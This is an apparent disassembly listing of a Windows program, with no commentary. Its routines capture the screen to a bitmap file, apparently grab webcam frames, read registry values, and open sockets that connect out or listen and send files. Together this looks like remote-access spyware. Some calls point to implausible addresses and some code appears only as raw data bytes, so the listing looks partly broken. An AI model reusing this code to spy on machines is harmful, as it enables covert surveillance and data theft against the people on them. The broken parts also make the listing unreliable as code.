		db 0E8h, 46h, 0ACh
		dd 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF90
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAFAC
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAFAC
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAFAC
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAFAC
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFF0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFE8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE74
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFEC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAEC8
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 271099Eh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2700000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2700000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 2670909h
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAF00
		push	[ebp+var_4]
		call	dword_4CAE60
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE60
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE60
		push	[ebp+var_4]
		call	dword_4CAE60

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB000

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB000

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB054
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB000

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB000

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB000

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB000

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB000

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB000

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB054
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_436224, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_436224
		mov	esi, offset dword_436230
		mov	edi, offset dword_437428

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB014
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAEA4
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_437424 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437424 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF80
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB03C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 4374A468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22DA314h, 43D15868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43747468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022DA2h, 4FE89064h,	330227A7h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0F7E89064h, 6A0227A6h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 744068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 2DA1E7E8h
		db 2, 90h
; ---------------------------------------------------------------------------

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_4375A4
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAFA4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFD0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437580
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF48
		push	dword ptr [ebp-2Eh]
		call	dword_4CAED4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAFCC
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_4374A4
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 271099Eh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437560
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2740A7Bh
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		push	eax
		call	dword_4CAFA0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437548
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF8C
		test	eax, eax
